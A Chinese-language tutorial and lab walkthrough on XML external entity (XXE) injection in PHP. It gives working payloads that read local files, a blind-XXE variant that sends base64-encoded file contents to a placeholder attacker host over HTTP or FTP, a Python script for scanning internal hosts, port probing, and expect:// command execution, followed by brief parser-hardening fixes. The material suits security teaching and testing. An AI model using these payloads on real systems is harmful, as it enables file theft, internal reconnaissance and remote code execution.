XXE从0到1

1. XXE概述

XXE（XML External Entity Injection）即XML外部实体注入。漏洞是在对不安全的外部实体数据进行处理时引发的安全问题。

下面我们主要介绍PHP语言下的XXE攻击.

1.1 XML基础

XML是可扩展的标记语言（eXtensible Markup Language），设计用来进行数据的传输和存储。

1.1.1文档结构

XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。

<!--XML声明-->

<?xml version="1.0"?>

<!--文档类型定义-->

<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->

<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->

<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->

<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->

<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->

<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->

]]]>

<!--文档元素-->

<note>

<to>Dave</to>

<from>Tom</from>

<head>Reminder</head>

<body>You are a good man</body>

</note>

1.1.2 DTD

DTD（文档类型定义）的作用是定义 XML 文档的合法构建模块。

DTD 可以在 XML 文档内声明，也可以外部引用。

DTD示例：

1.1.3 DTD的声明

DTD有内部声明和外部声明两种

1. 内部声明 : <!DOCTYPE 根元素 [元素声明] > 
<?xml version="1.0"?>

<!DOCTYPE note [

  <!ELEMENT note (to,from,heading,body)>

  <!ELEMENT to      (#PCDATA)>

  <!ELEMENT from    (#PCDATA)>

  <!ELEMENT heading (#PCDATA)>

  <!ELEMENT body    (#PCDATA)>

]>

<note>

  <to>George</to>

  <from>John</from>

  <heading>Reminder</heading>

  <body>Don't forget the meeting!</body>

</note>
2. 外部声明（引用外部DTD）: <!DOCTYPE 根元素 SYSTEM "文件名">
<?xml version="1.0"?>

<!DOCTYPE note SYSTEM "http://127.0.0.1/note.dtd">

<note>

<to>George</to>

<from>John</from>

<heading>Reminder</heading>

<body>Don't forget the meeting!</body>

</note> 

--------------------------------------------------------------------

#http://127.0.0.1/note.dtd的内容为

<!ELEMENT note (to,from,heading,body)>

<!ELEMENT to (#PCDATA)>

<!ELEMENT from (#PCDATA)>

<!ELEMENT heading (#PCDATA)>

<!ELEMENT body (#PCDATA)>

1.1.4 DTD实体

构成DTD的叫做DTD实体

  • 内部实体：
  • 外部实体：

内部和外部实体中，又有一般实体和参数实体

  • 一般实体： 引用方式：&实体名；
  • 参数实体： 引用方式：%实体名；

注意参数实体只能在DTD中申明，DTD中引用；

<!DOCTYPE message [

    <!ENTITY normal    "hello">     <!-- 内部一般实体 -->

    <!ENTITY % normal2 "hello">     <!-- 内部参数实体 -->

    <!ENTITY normal3 SYSTEM "http://xml.org/hhh.dtd">    <!-- 外部一般实体 -->

    <!ENTITY % normal4 SYSTEM "file:///1234.dtd">        <!-- 外部参数实体 -->

    %normal4;            <!-- 引用参数实体 -->

]>

<message>&normal;</message>    <!-- 引用参数实体 -->

参数实体还能嵌套定义，但需要注意的是，内层的定义的参数实体% 需要进行HTML实体编码，否则会出现解析错误。

<!DOCTYPE test [

    <!ENTITY % outside '<!ENTITY % files SYSTEM "file:///etc/passwd">'>

]>

<message>&files;</message>

2. XXE原理

XXE即XML外部实体注入 。和sql注入一样，进行xml修改成恶意代码后，xml解析器解析了恶意代码造成XXE。

2.1 利用方式

方式一： 直接通过DTD外部实体声明

<?xml version="1.0"?>

<!DOCTYPE a[

    <!ENTITY b SYSTEM "file:///etc/passwd">

]>

<a>&b;</a>

方式二：通过DTD文档引入外部DTD文档中的外部实体声明

<?xml version="1.0"?>

    <!DOCTYPE Quan SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd">

<hhh>&f;<hhh>

#DTD文件内容：

<!ENTITY f SYSTEM "file:///etc/passwd">

方式三：通过DTD外部实体声明引入外部DTD文档中的外部实体声明

<?xml version="1.0"?>

<!DOCTYPE Quan[

<!ENTITY f SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd">

]>

<hhh>&f;<hhh>

#Quan.dtd的外部实体声明内容：

<!ENTITY f SYSTEM "file:///etc/passwd">

2.2 XXE的分类

XXE分成了三类，正常回显XXE、报错XXE和Blind XXE

一、有回显XXE

示例代码：

xml.php

<?php

    libxml_disable_entity_loader (false);

    $xmlfile = file_get_contents('php://input');

    $dom = new DOMDocument();

    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);

    $creds = simplexml_import_dom($dom);

    echo $creds;

?>

payload:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE creds [

<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>

<creds>&goodies;</creds>

当读取的文件中有特殊符号的时候，直接读取会报错。

问题出在

...

<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>

<creds>&goodies;</creds>

引用并不接受可能会引起 xml 格式混乱的字符(在XML中，有时实体内包含了些字符，如&,<,>,",'等。这些均需要对其进行转义，否则会对XML解释器生成错误)

这时候我们就可以利用CDATA或者base64编码来绕过

1.使用base64编码

使用base64编码进行XXE可以防止返回包验证，得到的值进行解码即可还原

payload：

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE test[

	<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/1.txt">

]>

<test>&file;</test>

2.使用CDATA

CDATA节中的所有字符都会被当做元素字符数据的常量部分，而不是 xml标记

payload:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE roottag [

<!ENTITY % start "<![CDATA[">

<!ENTITY % goodies SYSTEM "file:///d:/1.txt">

<!ENTITY % end "]]>">

<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">

%dtd; ]> 

<roottag>&all;</roottag>

#evil.dtd

<?xml version="1.0" encoding="UTF-8"?>

<!ENTITY all "%start;%goodies;%end;">

二、无回显XXE（XXE盲打）

xml.php

<?php

libxml_disable_entity_loader (false);

$xmlfile = file_get_contents('php://input');

$dom = new DOMDocument();

$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);

?>

test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/1.txt">

<!ENTITY % int "<!ENTITY % send SYSTEM 'http://IP:9999?p=%file;'>">

payload：

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY % dtd SYSTEM "http://IP/test.dtd">

%dtd;%int;%send; ]>

注意此处test.dtd的%进行了html实体编码。%进行Unicode编码为 % 或者 %(转化成Unicode编码有两种形式，以&#后接十进制数字，&#x后接十六进制数字)

具体加载过程：

首先加载%dtd。此时会远程加载攻击者主机上的外部实体，然后加载 %int。接下来加载 %send 实体，此时就是关键点，服务器端返回内容（通过get查询方式会在攻击者的服务器日志中留下记录），查询的字符串 p 的值便是参数实体 file 的值，也就是读取的文件。

补充：

此处利用的是php伪协议对读取文件信息base64编码，再通过http协议发送数据，而在java中，此处利用点中，文件里如果存在换行等字符，就会导致发送失败，不能通过http协议发送，则用ftp协议。（无特殊字符的简单文件http协议也可以进行读取）

Post 包

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "http://ip/evil.xml">

%remote;]>

<root/>

evil.xml

<!ENTITY % d SYSTEM "file:///etc/passwd">

<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://ip:2121/%d;'>">

%c;

在测试主机上下载并运行xxe-ftp-server.rb，运行后会在2121端口开启ftp服务，脚本下载地址：https://github.com/ONsec-Lab/scripts

Ruby xxe-ftp-server.rb

2.3 判出此处断是否存在漏洞

遇到XML相关的交互过程，以如下步骤判断是否存在漏洞：

（1）检测XML是否会被解析：

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE ANY [

<!ENTITY dog "this is dog">

]>

<root>&dog;</root>

和注入一样，看输入的xml

如果$dog;输出了"this is dog"那就继续第二步。

这里来个补充说明：

第一种情况

数据包中发现传输了xml格式的数据，则判断出xml可能会被解析。

利用有回显payload的时候，xml标签必须和数据包中的标签一致，不然会出现无回显的情况。具体原理看下面的代码分析

第二种情况

发现数据包中无xml传输，也有可能存在xml解析，可以修改Content-Type的值为:application/xml;charset=UTF-8类型，然后发出xml看响应结果

（2）检测服务器是否支持外部实体：

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE ANY [

<!ENTITY % dog SYSTEM "http://ip:9999">

%dog;

]>

通过nc监听查看是否发送了请求，也可以通过dnslog来查看。

（3）判断是否有回显结果，无回显则使用xxe盲打

3. 测试靶场

xxe-lab

这里我们要求php版本为5.2，5.3，5.4，因为他们的libxml版本为2.7.7，2.7.8

允许加载外部实体，libxml版本在2.9.1之后，默认是不解析外部实体

有回显的XXE利用：

在登陆点抓一个包，插入payload

<?xml version="1.0"?>

<!DOCTYPE creds [

<!ENTITY goodies SYSTEM "file:///c:/windows/win.ini">

]>

<user><username>&goodies;</username>

<password>yang</password></user>

注意点，这里必须要把获取的数据写入username标签，具体是代码中，由于获取的username标签后输出产生的XXE。

无回显的XXE利用：

注释掉echo和关闭错误显示

构造payload：

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY % dtd SYSTEM "http://IP/test.dtd">

%dtd;%int;%send; ]>

test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/1.txt">

<!ENTITY % int "<!ENTITY % send SYSTEM 'http://IP:9999?p=%file;'>">

kali开启nc监听，运行payload

靶场的代码：

<?php

/**

* autor: c0ny1

* date: 2018-2-7

*/

$USERNAME = 'admin'; //账号

$PASSWORD = 'admin'; //密码

$result = null;

libxml_disable_entity_loader(false);

$xmlfile = file_get_contents('php://input');//这里面因为没有xml文档所以用的是php的伪协议来获取我们发送的xml文档

try{

    $dom = new DOMDocument();//创建XML的对象

    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);//将我们发送的字符串生成xml文档。

    $creds = simplexml_import_dom($dom);//这一步感觉相当于实例化xml文档

    $username = $creds->username;//获取username标签的值

    $password = $creds->password;//获取password标签的值

    if($username == $USERNAME && $password == $PASSWORD){//将获取的值与前面的进行比较。...        $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);//注意必须要有username这个标签，不然的话找不到username,就没有了输出了，我们也不能通过回显来获取信息了

    }else{

        $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);//与上方相同，都会输出username的值，都可以达到我们的目的

    }

}catch(Exception $e){

    $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());

}

header('Content-Type: text/html; charset=utf-8');

echo $result;

?>

4. HTTP 内网存活主机扫描

可以读取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host 文件，这样我们就能拿到网段了

利用python2脚本探测存活主机：

# -*- coding: utf-8 -*-

import requests

import base64

#Origtional XML that the server accepts

#<xml>

#    <stuff>user</stuff>

#</xml>

def build_xml(string):

    xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""

    xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""

    xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""

    xml = xml + "\r\n" + """<xml>"""

    xml = xml + "\r\n" + """    <stuff>&xxe;</stuff>"""

    xml = xml + "\r\n" + """</xml>"""

    send_xml(xml)

def send_xml(xml):

    headers = {'Content-Type': 'application/xml'}

#   http://192.168.202.1/xxe/php_xxe/doLogin.php 就是存在xxe的php网址

    x = requests.post('http://192.168.202.1/xxe/php_xxe/doLogin.php', data=xml, headers=headers, timeout=5).text

    coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value

    print coded_string

#   print base64.b64decode(coded_string)

for i in range(129, 135):

    try:

        i = str(i)

        #此处填写网段

        ip = '192.168.202.' + i

        string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'

        print string

        build_xml(string)

    except:

        continue

结果，红框中的就是存在主机：

5. HTTP端口扫描

payload：

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE note[

    <!ENTITY Quan SYSTEM "http://192.168.202.130:80">

]>

<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>

设置爆破端口

根据长度或者响应时间来判断端口存活

6. 执行系统命令

这种情况很少发生，PHP加载了expect模块，攻击者能够通过XXE执行代码。

<?xml version="1.0"?>

    <!DOCTYPE Quan[

    <!ENTITY f SYSTEM "expect://执行的命令">

]>

<hhh>&f;<hhh>

1.4.1 过滤用户提交的XML数据

过滤关键词：<!DOCTYPE和<!ENTITY，或者SYSTEM和PUBLIC

1.4.2 PHP下

libxml_disable_entity_loader(true);

1.4.3 JAVA下

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

1.4.4 Python下

from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

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